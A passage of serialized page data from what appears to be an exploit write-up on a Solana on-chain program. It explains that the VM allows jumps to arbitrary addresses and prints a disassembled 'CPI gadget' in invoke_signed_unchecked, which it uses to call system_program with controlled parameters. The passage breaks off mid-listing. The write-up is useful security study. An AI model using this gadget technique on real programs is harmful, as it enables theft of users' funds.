invocations:",{"type":24,"tag":73,"props":43666,"children":43670},{"className":43667,"code":43668,"language":43669,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: gadget1]\n    C --> E[3: process]\n    E --> F[4: gadget2]\n    E --> G[...]\n","mermaid",[43671],{"type":24,"tag":32,"props":43672,"children":43673},{"__ignoreMap":7},[43674,43682,43690,43698,43706,43714,43722],{"type":24,"tag":83,"props":43675,"children":43676},{"class":85,"line":86},[43677],{"type":24,"tag":83,"props":43678,"children":43679},{},[43680],{"type":29,"value":43681},"graph LR\n",{"type":24,"tag":83,"props":43683,"children":43684},{"class":85,"line":113},[43685],{"type":24,"tag":83,"props":43686,"children":43687},{},[43688],{"type":29,"value":43689},"    A[0: entrypoint] --> B[1: process_instruction]\n",{"type":24,"tag":83,"props":43691,"children":43692},{"class":85,"line":128},[43693],{"type":24,"tag":83,"props":43694,"children":43695},{},[43696],{"type":29,"value":43697},"    B --> C[2: process]\n",{"type":24,"tag":83,"props":43699,"children":43700},{"class":85,"line":183},[43701],{"type":24,"tag":83,"props":43702,"children":43703},{},[43704],{"type":29,"value":43705},"    C --> D[3: gadget1]\n",{"type":24,"tag":83,"props":43707,"children":43708},{"class":85,"line":203},[43709],{"type":24,"tag":83,"props":43710,"children":43711},{},[43712],{"type":29,"value":43713},"    C --> E[3: process]\n",{"type":24,"tag":83,"props":43715,"children":43716},{"class":85,"line":212},[43717],{"type":24,"tag":83,"props":43718,"children":43719},{},[43720],{"type":29,"value":43721},"    E --> F[4: gadget2]\n",{"type":24,"tag":83,"props":43723,"children":43724},{"class":85,"line":256},[43725],{"type":24,"tag":83,"props":43726,"children":43727},{},[43728],{"type":29,"value":43729},"    E --> G[...]\n",{"type":24,"tag":25,"props":43731,"children":43732},{},[43733],{"type":29,"value":43734},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":24,"tag":25,"props":43736,"children":43737},{},[43738,43740,43746],{"type":29,"value":43739},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":24,"tag":2033,"props":43741,"children":43743},{"href":40203,"rel":43742},[2037],[43744],{"type":29,"value":43745},"Binary Ninja",{"type":29,"value":43747}," to find a suitable gadget for this.",{"type":24,"tag":25,"props":43749,"children":43750},{},[43751,43753,43760],{"type":29,"value":43752},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":24,"tag":2033,"props":43754,"children":43757},{"href":43755,"rel":43756},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[2037],[43758],{"type":29,"value":43759},"skip the strip pass",{"type":29,"value":161},{"type":24,"tag":1818,"props":43762,"children":43764},{"id":43763},"cpi-gadget",[43765],{"type":29,"value":43766},"CPI Gadget",{"type":24,"tag":25,"props":43768,"children":43769},{},[43770,43772,43777,43779,43786,43788,43794],{"type":29,"value":43771},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":24,"tag":32,"props":43773,"children":43775},{"className":43774},[],[43776],{"type":29,"value":553},{"type":29,"value":43778}," function. This function calls into the solana sdk's function ",{"type":24,"tag":2033,"props":43780,"children":43783},{"href":43781,"rel":43782},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[2037],[43784],{"type":29,"value":43785},"invoke_signed_unchecked",{"type":29,"value":43787},", yielding a powerful gadget at the address ",{"type":24,"tag":32,"props":43789,"children":43791},{"className":43790},[],[43792],{"type":29,"value":43793},"0x100001ba8",{"type":29,"value":161},{"type":24,"tag":73,"props":43796,"children":43798},{"className":2725,"code":43797,"language":2724,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8  79a278ff00000000   ldxdw r2, [r10-136] {var_88}\n100001bb0  79a380ff00000000   ldxdw r3, [r10-128] {var_80}\n100001bb8  79a468ff00000000   ldxdw r4, [r10-152] {var_98}\n100001bc0  79a570ff00000000   ldxdw r5, [r10-144] {var_90}\n100001bc8  8520000020100000   call sol_invoke_signed_rust\n100001bd0  5500040000000000   jne \u003C+4> r0, 0x0\n\n100001bd8  b701000018000000   mov r1, 0x18\n100001be0  79a288ff00000000   ldxdw r2, [r10-120] {var_78}\n100001be8  6312000000000000   stxw [r2-0], r1  {0x18}\n100001bf0  0500030000000000   ja \u003C+3>\n\n100001bf8  79a188ff00000000   ldxdw r1, [r10-120] {var_78}\n100001c00  bf02000000000000   mov r2, r0\n100001c08  8510000075000000   call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10  79a2b8ff00000000   ldxdw r2, [r10-72] {var_48}\n100001c18  1502040000000000   jeq \u003C+4> r2, 0x0\n\n100001c20  2702000022000000   mul r2, 0x22\n100001c28  79a1b0ff00000000   ldxdw r1, [r10-80] {var_50}\n100001c30  b703000001000000   mov r3, 0x1\n100001c38  8510000003feffff   call __rust_dealloc\n\n100001c40  79a2d0ff00000000   ldxdw r2, [r10-48] {var_30}\n100001c48  1502030000000000   jeq \u003C+3> r2, 0x0\n\n100001c50  79a1c8ff00000000   ldxdw r1, [r10-56] {var_38}\n100001c58  b703000001000000   mov r3, 0x1\n100001c60  85100000fefdffff   call __rust_dealloc\n\n100001c68  9500000000000000   exit {__return_addr}\n",[43799],{"type":24,"tag":32,"props":43800,"children":43801},{"__ignoreMap":7},[43802,43827,43883,43934,43986,44038,44061,44109,44116,44148,44199,44257,44291,44298,44347,44377,44452,44459,44510,44556,44563,44594,44645,44675,44697,44704,44755,44800,44807,44858,44886,44907,44914],{"type":24,"tag":83,"props":43803,"children":43804},{"class":85,"line":86},[43805,43809,43813,43818,43822],{"type":24,"tag":83,"props":43806,"children":43807},{"style":107},[43808],{"type":29,"value":13398},{"type":24,"tag":83,"props":43810,"children":43811},{"style":143},[43812],{"type":29,"value":3226},{"type":24,"tag":83,"props":43814,"children":43815},{"style":107},[43816],{"type":29,"value":43817},"program",{"type":24,"tag":83,"props":43819,"children":43820},{"style":143},[43821],{"type":29,"value":3226},{"type":24,"tag":83,"props":43823,"children":43824},{"style":137},[43825],{"type":29,"value":43826},"invoke_signed_unchecked\n",{"type":24,"tag":83,"props":43828,"children":43829},{"class":85,"line":113},[43830,43835,43840,43845,43850,43855,43860,43864,43869,43874,43879],{"type":24,"tag":83,"props":43831,"children":43832},{"style":137},[43833],{"type":29,"value":43834},"100001ba8",{"type":24,"tag":83,"props":43836,"children":43837},{"style":137},[43838],{"type":29,"value":43839},"  79a278ff00000000",{"type":24,"tag":83,"props":43841,"children":43842},{"style":137},[43843],{"type":29,"value":43844},"   ldxdw",{"type":24,"tag":83,"props":43846,"children":43847},{"style":137},[43848],{"type":29,"value":43849}," r2",{"type":24,"tag":83,"props":43851,"children":43852},{"style":107},[43853],{"type":29,"value":43854},", [",{"type":24,"tag":83,"props":43856,"children":43857},{"style":137},[43858],{"type":29,"value":43859},"r10",{"type":24,"tag":83,"props":43861,"children":43862},{"style":143},[43863],{"type":29,"value":4072},{"type":24,"tag":83,"props":43865,"children":43866},{"style":245},[43867],{"type":29,"value":43868},"136",{"type":24,"tag":83,"props":43870,"children":43871},{"style":107},[43872],{"type":29,"value":43873},"] {",{"type":24,"tag":83,"props":43875,"children":43876},{"style":137},[43877],{"type":29,"value":43878},"var_88",{"type":24,"tag":83,"props":43880,"children":43881},{"style":107},[43882],{"type":29,"value":464},{"type":24,"tag":83,"props":43884,"children":43885},{"class":85,"line":128},[43886,43891,43896,43900,43905,43909,43913,43917,43921,43925,43930],{"type":24,"tag":83,"props":43887,"children":43888},{"style":137},[43889],{"type":29,"value":43890},"100001bb0",{"type":24,"tag":83,"props":43892,"children":43893},{"style":137},[43894],{"type":29,"value":43895},"  79a380ff00000000",{"type":24,"tag":83,"props":43897,"children":43898},{"style":137},[43899],{"type":29,"value":43844},{"type":24,"tag":83,"props":43901,"children":43902},{"style":137},[43903],{"type":29,"value":43904}," r3",{"type":24,"tag":83,"props":43906,"children":43907},{"style":107},[43908],{"type":29,"value":43854},{"type":24,"tag":83,"props":43910,"children":43911},{"style":137},[43912],{"type":29,"value":43859},{"type":24,"tag":83,"props":43914,"children":43915},{"style":143},[43916],{"type":29,"value":4072},{"type":24,"tag":83,"props":43918,"children":43919},{"style":245},[43920],{"type":29,"value":29599},{"type":24,"tag":83,"props":43922,"children":43923},{"style":107},[43924],{"type":29,"value":43873},{"type":24,"tag":83,"props":43926,"children":43927},{"style":137},[43928],{"type":29,"value":43929},"var_80",{"type":24,"tag":83,"props":43931,"children":43932},{"style":107},[43933],{"type":29,"value":464},{"type":24,"tag":83,"props":43935,"children":43936},{"class":85,"line":183},[43937,43942,43947,43951,43956,43960,43964,43968,43973,43977,43982],{"type":24,"tag":83,"props":43938,"children":43939},{"style":137},[43940],{"type":29,"value":43941},"100001bb8",{"type":24,"tag":83,"props":43943,"children":43944},{"style":137},[43945],{"type":29,"value":43946},"  79a468ff00000000",{"type":24,"tag":83,"props":43948,"children":43949},{"style":137},[43950],{"type":29,"value":43844},{"type":24,"tag":83,"props":43952,"children":43953},{"style":137},[43954],{"type":29,"value":43955}," r4",{"type":24,"tag":83,"props":43957,"children":43958},{"style":107},[43959],{"type":29,"value":43854},{"type":24,"tag":83,"props":43961,"children":43962},{"style":137},[43963],{"type":29,"value":43859},{"type":24,"tag":83,"props":43965,"children":43966},{"style":143},[43967],{"type":29,"value":4072},{"type":24,"tag":83,"props":43969,"children":43970},{"style":245},[43971],{"type":29,"value":43972},"152",{"type":24,"tag":83,"props":43974,"children":43975},{"style":107},[43976],{"type":29,"value":43873},{"type":24,"tag":83,"props":43978,"children":43979},{"style":137},[43980],{"type":29,"value":43981},"var_98",{"type":24,"tag":83,"props":43983,"children":43984},{"style":107},[43985],{"type":29,"value":464},{"type":24,"tag":83,"props":43987,"children":43988},{"class":85,"line":203},[43989,43994,43999,44003,44008,44012,44016,44020,44025,44029,44034],{"type":24,"tag":83,"props":43990,"children":43991},{"style":137},[43992],{"type":29,"value":43993},"100001bc0",{"type":24,"tag":83,"props":43995,"children":43996},{"style":137},[43997],{"type":29,"value":43998},"  79a570ff00000000",{"type":24,"tag":83,"props":44000,"children":44001},{"style":137},[44002],{"type":29,"value":43844},{"type":24,"tag":83,"props":44004,"children":44005},{"style":137},[44006],{"type":29,"value":44007}," r5",{"type":24,"tag":83,"props":44009,"children":44010},{"style":107},[44011],{"type":29,"value":43854},{"type":24,"tag":83,"props":44013,"children":44014},{"style":137},[44015],{"type":29,"value":43859},{"type":24,"tag":83,"props":44017,"children":44018},{"style":143},[44019],{"type":29,"value":4072},{"type":24,"tag":83,"props":44021,"children":44022},{"style":245},[44023],{"type":29,"value":44024},"144",{"type":24,"tag":83,"props":44026,"children":44027},{"style":107},[44028],{"type":29,"value":43873},{"type":24,"tag":83,"props":44030,"children":44031},{"style":137},[44032],{"type":29,"value":44033},"var_90",{"type":24,"tag":83,"props":44035,"children":44036},{"style":107},[44037],{"type":29,"value":464},{"type":24,"tag":83,"props":44039,"children":44040},{"class":85,"line":212},[44041,44046,44051,44056],{"type":24,"tag":83,"props":44042,"children":44043},{"style":137},[44044],{"type":29,"value":44045},"100001bc8",{"type":24,"tag":83,"props":44047,"children":44048},{"style":245},[44049],{"type":29,"value":44050},"  8520000020100000",{"type":24,"tag":83,"props":44052,"children":44053},{"style":137},[44054],{"type":29,"value":44055},"   call",{"type":24,"tag":83,"props":44057,"children":44058},{"style":137},[44059],{"type":29,"value":44060}," sol_invoke_signed_rust\n",{"type":24,"tag":83,"props":44062,"children":44063},{"class":85,"line":256},[44064,44069,44074,44079,44083,44087,44091,44095,44100,44104],{"type":24,"tag":83,"props":44065,"children":44066},{"style":137},[44067],{"type":29,"value":44068},"100001bd0",{"type":24,"tag":83,"props":44070,"children":44071},{"style":245},[44072],{"type":29,"value":44073},"  5500040000000000",{"type":24,"tag":83,"props":44075,"children":44076},{"style":137},[44077],{"type":29,"value":44078},"   jne",{"type":24,"tag":83,"props":44080,"children":44081},{"style":107},[44082],{"type":29,"value":8463},{"type":24,"tag":83,"props":44084,"children":44085},{"style":143},[44086],{"type":29,"value":4126},{"type":24,"tag":83,"props":44088,"children":44089},{"style":245},[44090],{"type":29,"value":17265},{"type":24,"tag":83,"props":44092,"children":44093},{"style":107},[44094],{"type":29,"value":5567},{"type":24,"tag":83,"props":44096,"children":44097},{"style":137},[44098],{"type":29,"value":44099},"r0",{"type":24,"tag":83,"props":44101,"children":44102},{"style":107},[44103],{"type":29,"value":568},{"type":24,"tag":83,"props":44105,"children":44106},{"style":245},[44107],{"type":29,"value":44108},"0x0\n",{"type":24,"tag":83,"props":44110,"children":44111},{"class":85,"line":270},[44112],{"type":24,"tag":83,"props":44113,"children":44114},{"emptyLinePlaceholder":16},[44115],{"type":29,"value":3422},{"type":24,"tag":83,"props":44117,"children":44118},{"class":85,"line":302},[44119,44124,44129,44134,44139,44143],{"type":24,"tag":83,"props":44120,"children":44121},{"style":137},[44122],{"type":29,"value":44123},"100001bd8",{"type":24,"tag":83,"props":44125,"children":44126},{"style":137},[44127],{"type":29,"value":44128},"  b701000018000000",{"type":24,"tag":83,"props":44130,"children":44131},{"style":137},[44132],{"type":29,"value":44133},"   mov",{"type":24,"tag":83,"props":44135,"children":44136},{"style":137},[44137],{"type":29,"value":44138}," r1",{"type":24,"tag":83,"props":44140,"children":44141},{"style":107},[44142],{"type":29,"value":568},{"type":24,"tag":83,"props":44144,"children":44145},{"style":245},[44146],{"type":29,"value":44147},"0x18\n",{"type":24,"tag":83,"props":44149,"children":44150},{"class":85,"line":324},[44151,44156,44161,44165,44169,44173,44177,44181,44186,44190,44195],{"type":24,"tag":83,"props":44152,"children":44153},{"style":137},[44154],{"type":29,"value":44155},"100001be0",{"type":24,"tag":83,"props":44157,"children":44158},{"style":137},[44159],{"type":29,"value":44160},"  79a288ff00000000",{"type":24,"tag":83,"props":44162,"children":44163},{"style":137},[44164],{"type":29,"value":43844},{"type":24,"tag":83,"props":44166,"children":44167},{"style":137},[44168],{"type":29,"value":43849},{"type":24,"tag":83,"props":44170,"children":44171},{"style":107},[44172],{"type":29,"value":43854},{"type":24,"tag":83,"props":44174,"children":44175},{"style":137},[44176],{"type":29,"value":43859},{"type":24,"tag":83,"props":44178,"children":44179},{"style":143},[44180],{"type":29,"value":4072},{"type":24,"tag":83,"props":44182,"children":44183},{"style":245},[44184],{"type":29,"value":44185},"120",{"type":24,"tag":83,"props":44187,"children":44188},{"style":107},[44189],{"type":29,"value":43873},{"type":24,"tag":83,"props":44191,"children":44192},{"style":137},[44193],{"type":29,"value":44194},"var_78",{"type":24,"tag":83,"props":44196,"children":44197},{"style":107},[44198],{"type":29,"value":464},{"type":24,"tag":83,"props":44200,"children":44201},{"class":85,"line":345},[44202,44207,44212,44217,44221,44226,44230,44234,44238,44243,44248,44253],{"type":24,"tag":83,"props":44203,"children":44204},{"style":137},[44205],{"type":29,"value":44206},"100001be8",{"type":24,"tag":83,"props":44208,"children":44209},{"style":245},[44210],{"type":29,"value":44211},"  6312000000000000",{"type":24,"tag":83,"props":44213,"children":44214},{"style":137},[44215],{"type":29,"value":44216},"   stxw",{"type":24,"tag":83,"props":44218,"children":44219},{"style":107},[44220],{"type":29,"value":22772},{"type":24,"tag":83,"props":44222,"children":44223},{"style":137},[44224],{"type":29,"value":44225},"r2",{"type":24,"tag":83,"props":44227,"children":44228},{"style":143},[44229],{"type":29,"value":4072},{"type":24,"tag":83,"props":44231,"children":44232},{"style":245},[44233],{"type":29,"value":1166},{"type":24,"tag":83,"props":44235,"children":44236},{"style":107},[44237],{"type":29,"value":1232},{"type":24,"tag":83,"props":44239,"children":44240},{"style":137},[44241],{"type":29,"value":44242},"r1",{"type":24,"tag":83,"props":44244,"children":44245},{"style":107},[44246],{"type":29,"value":44247},"  {",{"type":24,"tag":83,"props":44249,"children":44250},{"style":245},[44251],{"type":29,"value":44252},"0x18",{"type":24,"tag":83,"props":44254,"children":44255},{"style":107},[44256],{"type":29,"value":464},{"type":24,"tag":83,"props":44258,"children":44259},{"class":85,"line":358},[44260,44265,44270,44275,44279,44283,44287],{"type":24,"tag":83,"props":44261,"children":44262},{"style":137},[44263],{"type":29,"value":44264},"100001bf0",{"type":24,"tag":83,"props":44266,"children":44267},{"style":245},[44268],{"type":29,"value":44269},"  0500030000000000",{"type":24,"tag":83,"props":44271,"children":44272},{"style":137},[44273],{"type":29,"value":44274},"   ja",{"type":24,"tag":83,"props":44276,"children":44277},{"style":107},[44278],{"type":29,"value":8463},{"type":24,"tag":83,"props":44280,"children":44281},{"style":143},[44282],{"type":29,"value":4126},{"type":24,"tag":83,"props":44284,"children":44285},{"style":245},[44286],{"type":29,"value":17032},{"type":24,"tag":83,"props":44288,"children":44289},{"style":107},[44290],{"type":29,"value":5738},{"type":24,"tag":83,"props":44292,"children":44293},{"class":85,"line":367},[44294],{"type":24,"tag":83,"props":44295,"children":44296},{"emptyLinePlaceholder":16},[44297],{"type":29,"value":3422},{"type":24,"tag":83,"props":44299,"children":44300},{"class":85,"line":406},[44301,44306,44311,44315,44319,44323,44327,44331,44335,44339,44343],{"type":24,"tag":83,"props":44302,"children":44303},{"style":137},[44304],{"type":29,"value":44305},"100001bf8",{"type":24,"tag":83,"props":44307,"children":44308},{"style":137},[44309],{"type":29,"value":44310},"  79a188ff00000000",{"type":24,"tag":83,"props":44312,"children":44313},{"style":137},[44314],{"type":29,"value":43844},{"type":24,"tag":83,"props":44316,"children":44317},{"style":137},[44318],{"type":29,"value":44138},{"type":24,"tag":83,"props":44320,"children":44321},{"style":107},[44322],{"type":29,"value":43854},{"type":24,"tag":83,"props":44324,"children":44325},{"style":137},[44326],{"type":29,"value":43859},{"type":24,"tag":83,"props":44328,"children":44329},{"style":143},[44330],{"type":29,"value":4072},{"type":24,"tag":83,"props":44332,"children":44333},{"style":245},[44334],{"type":29,"value":44185},{"type":24,"tag":83,"props":44336,"children":44337},{"style":107},[44338],{"type":29,"value":43873},{"type":24,"tag":83,"props":44340,"children":44341},{"style":137},[44342],{"type":29,"value":44194},{"type":24,"tag":83,"props":44344,"children":44345},{"style":107},[44346],{"type":29,"value":464},{"type":24,"tag":83,"props":44348,"children":44349},{"class":85,"line":427},[44350,44355,44360,44364,44368,44372],{"type":24,"tag":83,"props":44351,"children":44352},{"style":137},[44353],{"type":29,"value":44354},"100001c00",{"type":24,"tag":83,"props":44356,"children":44357},{"style":137},[44358],{"type":29,"value":44359},"  bf02000000000000",{"type":24,"tag":83,"props":44361,"children":44362},{"style":137},[44363],{"type":29,"value":44133},{"type":24,"tag":83,"props":44365,"children":44366},{"style":137},[44367],{"type":29,"value":43849},{"type":24,"tag":83,"props":44369,"children":44370},{"style":107},[44371],{"type":29,"value":568},{"type":24,"tag":83,"props":44373,"children":44374},{"style":137},[44375],{"type":29,"value":44376},"r0\n",{"type":24,"tag":83,"props":44378,"children":44379},{"class":85,"line":440},[44380,44385,44390,44394,44399,44403,44408,44412,44416,44421,44425,44429,44434,44439,44443,44447],{"type":24,"tag":83,"props":44381,"children":44382},{"style":137},[44383],{"type":29,"value":44384},"100001c08",{"type":24,"tag":83,"props":44386,"children":44387},{"style":245},[44388],{"type":29,"value":44389},"  8510000075000000",{"type":24,"tag":83,"props":44391,"children":44392},{"style":137},[44393],{"type":29,"value":44055},{"type":24,"tag":83,"props":44395,"children":44396},{"style":3163},[44397],{"type":29,"value":44398}," _ZN94_",{"type":24,"tag":83,"props":44400,"children":44401},{"style":143},[44402],{"type":29,"value":10035},{"type":24,"tag":83,"props":44404,"children":44405},{"style":3163},[44406],{"type":29,"value":44407},"LT",{"type":24,"tag":83,"props":44409,"children":44410},{"style":143},[44411],{"type":29,"value":10035},{"type":24,"tag":83,"props":44413,"children":44414},{"style":137},[44415],{"type":29,"value":13398},{"type":24,"tag":83,"props":44417,"children":44418},{"style":143},[44419],{"type":29,"value":44420},"...$",{"type":24,"tag":83,"props":44422,"children":44423},{"style":137},[44424],{"type":29,"value":7789},{"type":24,"tag":83,"props":44426,"children":44427},{"style":143},[44428],{"type":29,"value":10035},{"type":24,"tag":83,"props":44430,"children":44431},{"style":3163},[44432],{"type":29,"value":44433},"GT",{"type":24,"tag":83,"props":44435,"children":44436},{"style":143},[44437],{"type":29,"value":44438},"$$",{"type":24,"tag":83,"props":44440,"children":44441},{"style":3163},[44442],{"type":29,"value":44433},{"type":24,"tag":83,"props":44444,"children":44445},{"style":143},[44446],{"type":29,"value":10035},{"type":24,"tag":83,"props":44448,"children":44449},{"style":107},[44450],{"type":29,"value":44451},"4from17ha0d289b72861b06dE\n",{"type":24,"tag":83,"props":44453,"children":44454},{"class":85,"line":449},[44455],{"type":24,"tag":83,"props":44456,"children":44457},{"emptyLinePlaceholder":16},[44458],{"type":29,"value":3422},{"type":24,"tag":83,"props":44460,"children":44461},{"class":85,"line":458},[44462,44467,44472,44476,44480,44484,44488,44492,44497,44501,44506],{"type":24,"tag":83,"props":44463,"children":44464},{"style":137},[44465],{"type":29,"value":44466},"100001c10",{"type":24,"tag":83,"props":44468,"children":44469},{"style":137},[44470],{"type":29,"value":44471},"  79a2b8ff00000000",{"type":24,"tag":83,"props":44473,"children":44474},{"style":137},[44475],{"type":29,"value":43844},{"type":24,"tag":83,"props":44477,"children":44478},{"style":137},[44479],{"type":29,"value":43849},{"type":24,"tag":83,"props":44481,"children":44482},{"style":107},[44483],{"type":29,"value":43854},{"type":24,"tag":83,"props":44485,"children":44486},{"style":137},[44487],{"type":29,"value":43859},{"type":24,"tag":83,"props":44489,"children":44490},{"style":143},[44491],{"type":29,"value":4072},{"type":24,"tag":83,"props":44493,"children":44494},{"style":245},[44495],{"type":29,"value":44496},"72",{"type":24,"tag":83,"props":44498,"children":44499},{"style":107},[44500],{"type":29,"value":43873},{"type":24,"tag":83,"props":44502,"children":44503},{"style":137},[44504],{"type":29,"value":44505},"var_48",{"type":24,"tag":83,"props":44507,"children":44508},{"style":107},[44509],{"type":29,"value":464},{"type":24,"tag":83,"props":44511,"children":44512},{"class":85,"line":1065},[44513,44518,44523,44528,44532,44536,44540,44544,44548,44552],{"type":24,"tag":83,"props":44514,"children":44515},{"style":137},[44516],{"type":29,"value":44517},"100001c18",{"type":24,"tag":83,"props":44519,"children":44520},{"style":245},[44521],{"type":29,"value":44522},"  1502040000000000",{"type":24,"tag":83,"props":44524,"children":44525},{"style":137},[44526],{"type":29,"value":44527},"   jeq",{"type":24,"tag":83,"props":44529,"children":44530},{"style":107},[44531],{"type":29,"value":8463},{"type":24,"tag":83,"props":44533,"children":44534},{"style":143},[44535],{"type":29,"value":4126},{"type":24,"tag":83,"props":44537,"children":44538},{"style":245},[44539],{"type":29,"value":17265},{"type":24,"tag":83,"props":44541,"children":44542},{"style":107},[44543],{"type":29,"value":5567},{"type":24,"tag":83,"props":44545,"children":44546},{"style":137},[44547],{"type":29,"value":44225},{"type":24,"tag":83,"props":44549,"children":44550},{"style":107},[44551],{"type":29,"value":568},{"type":24,"tag":83,"props":44553,"children":44554},{"style":245},[44555],{"type":29,"value":44108},{"type":24,"tag":83,"props":44557,"children":44558},{"class":85,"line":1668},[44559],{"type":24,"tag":83,"props":44560,"children":44561},{"emptyLinePlaceholder":16},[44562],{"type":29,"value":3422},{"type":24,"tag":83,"props":44564,"children":44565},{"class":85,"line":1713},[44566,44571,44576,44581,44585,44589],{"type":24,"tag":83,"props":44567,"children":44568},{"style":137},[44569],{"type":29,"value":44570},"100001c20",{"type":24,"tag":83,"props":44572,"children":44573},{"style":245},[44574],{"type":29,"value":44575},"  2702000022000000",{"type":24,"tag":83,"props":44577,"children":44578},{"style":137},[44579],{"type":29,"value":44580},"   mul",{"type":24,"tag":83,"props":44582,"children":44583},{"style":137},[44584],{"type":29,"value":43849},{"type":24,"tag":83,"props":44586,"children":44587},{"style":107},[44588],{"type":29,"value":568},{"type":24,"tag":83,"props":44590,"children":44591},{"style":245},[44592],{"type":29,"value":44593},"0x22\n",{"type":24,"tag":83,"props":44595,"children":44596},{"class":85,"line":1730},[44597,44602,44607,44611,44615,44619,44623,44627,44632,44636,44641],{"type":24,"tag":83,"props":44598,"children":44599},{"style":137},[44600],{"type":29,"value":44601},"100001c28",{"type":24,"tag":83,"props":44603,"children":44604},{"style":137},[44605],{"type":29,"value":44606},"  79a1b0ff00000000",{"type":24,"tag":83,"props":44608,"children":44609},{"style":137},[44610],{"type":29,"value":43844},{"type":24,"tag":83,"props":44612,"children":44613},{"style":137},[44614],{"type":29,"value":44138},{"type":24,"tag":83,"props":44616,"children":44617},{"style":107},[44618],{"type":29,"value":43854},{"type":24,"tag":83,"props":44620,"children":44621},{"style":137},[44622],{"type":29,"value":43859},{"type":24,"tag":83,"props":44624,"children":44625},{"style":143},[44626],{"type":29,"value":4072},{"type":24,"tag":83,"props":44628,"children":44629},{"style":245},[44630],{"type":29,"value":44631},"80",{"type":24,"tag":83,"props":44633,"children":44634},{"style":107},[44635],{"type":29,"value":43873},{"type":24,"tag":83,"props":44637,"children":44638},{"style":137},[44639],{"type":29,"value":44640},"var_50",{"type":24,"tag":83,"props":44642,"children":44643},{"style":107},[44644],{"type":29,"value":464},{"type":24,"tag":83,"props":44646,"children":44647},{"class":85,"line":1770},[44648,44653,44658,44662,44666,44670],{"type":24,"tag":83,"props":44649,"children":44650},{"style":137},[44651],{"type":29,"value":44652},"100001c30",{"type":24,"tag":83,"props":44654,"children":44655},{"style":137},[44656],{"type":29,"value":44657},"  b703000001000000",{"type":24,"tag":83,"props":44659,"children":44660},{"style":137},[44661],{"type":29,"value":44133},{"type":24,"tag":83,"props":44663,"children":44664},{"style":137},[44665],{"type":29,"value":43904},{"type":24,"tag":83,"props":44667,"children":44668},{"style":107},[44669],{"type":29,"value":568},{"type":24,"tag":83,"props":44671,"children":44672},{"style":245},[44673],{"type":29,"value":44674},"0x1\n",{"type":24,"tag":83,"props":44676,"children":44677},{"class":85,"line":1778},[44678,44683,44688,44692],{"type":24,"tag":83,"props":44679,"children":44680},{"style":137},[44681],{"type":29,"value":44682},"100001c38",{"type":24,"tag":83,"props":44684,"children":44685},{"style":137},[44686],{"type":29,"value":44687},"  8510000003feffff",{"type":24,"tag":83,"props":44689,"children":44690},{"style":137},[44691],{"type":29,"value":44055},{"type":24,"tag":83,"props":44693,"children":44694},{"style":137},[44695],{"type":29,"value":44696}," __rust_dealloc\n",{"type":24,"tag":83,"props":44698,"children":44699},{"class":85,"line":1803},[44700],{"type":24,"tag":83,"props":44701,"children":44702},{"emptyLinePlaceholder":16},[44703],{"type":29,"value":3422},{"type":24,"tag":83,"props":44705,"children":44706},{"class":85,"line":1811},[44707,44712,44717,44721,44725,44729,44733,44737,44742,44746,44751],{"type":24,"tag":83,"props":44708,"children":44709},{"style":137},[44710],{"type":29,"value":44711},"100001c40",{"type":24,"tag":83,"props":44713,"children":44714},{"style":137},[44715],{"type":29,"value":44716},"  79a2d0ff00000000",{"type":24,"tag":83,"props":44718,"children":44719},{"style":137},[44720],{"type":29,"value":43844},{"type":24,"tag":83,"props":44722,"children":44723},{"style":137},[44724],{"type":29,"value":43849},{"type":24,"tag":83,"props":44726,"children":44727},{"style":107},[44728],{"type":29,"value":43854},{"type":24,"tag":83,"props":44730,"children":44731},{"style":137},[44732],{"type":29,"value":43859},{"type":24,"tag":83,"props":44734,"children":44735},{"style":143},[44736],{"type":29,"value":4072},{"type":24,"tag":83,"props":44738,"children":44739},{"style":245},[44740],{"type":29,"value":44741},"48",{"type":24,"tag":83,"props":44743,"children":44744},{"style":107},[44745],{"type":29,"value":43873},{"type":24,"tag":83,"props":44747,"children":44748},{"style":137},[44749],{"type":29,"value":44750},"var_30",{"type":24,"tag":83,"props":44752,"children":44753},{"style":107},[44754],{"type":29,"value":464},{"type":24,"tag":83,"props":44756,"children":44757},{"class":85,"line":8792},[44758,44763,44768,44772,44776,44780,44784,44788,44792,44796],{"type":24,"tag":83,"props":44759,"children":44760},{"style":137},[44761],{"type":29,"value":44762},"100001c48",{"type":24,"tag":83,"props":44764,"children":44765},{"style":245},[44766],{"type":29,"value":44767},"  1502030000000000",{"type":24,"tag":83,"props":44769,"children":44770},{"style":137},[44771],{"type":29,"value":44527},{"type":24,"tag":83,"props":44773,"children":44774},{"style":107},[44775],{"type":29,"value":8463},{"type":24,"tag":83,"props":44777,"children":44778},{"style":143},[44779],{"type":29,"value":4126},{"type":24,"tag":83,"props":44781,"children":44782},{"style":245},[44783],{"type":29,"value":17032},{"type":24,"tag":83,"props":44785,"children":44786},{"style":107},[44787],{"type":29,"value":5567},{"type":24,"tag":83,"props":44789,"children":44790},{"style":137},[44791],{"type":29,"value":44225},{"type":24,"tag":83,"props":44793,"children":44794},{"style":107},[44795],{"type":29,"value":568},{"type":24,"tag":83,"props":44797,"children":44798},{"style":245},[44799],{"type":29,"value":44108},{"type":24,"tag":83,"props":44801,"children":44802},{"class":85,"line":8810},[44803],{"type":24,"tag":83,"props":44804,"children":44805},{"emptyLinePlaceholder":16},[44806],{"type":29,"value":3422},{"type":24,"tag":83,"props":44808,"children":44809},{"class":85,"line":8855},[44810,44815,44820,44824,44828,44832,44836,44840,44845,44849,44854],{"type":24,"tag":83,"props":44811,"children":44812},{"style":137},[44813],{"type":29,"value":44814},"100001c50",{"type":24,"tag":83,"props":44816,"children":44817},{"style":137},[44818],{"type":29,"value":44819},"  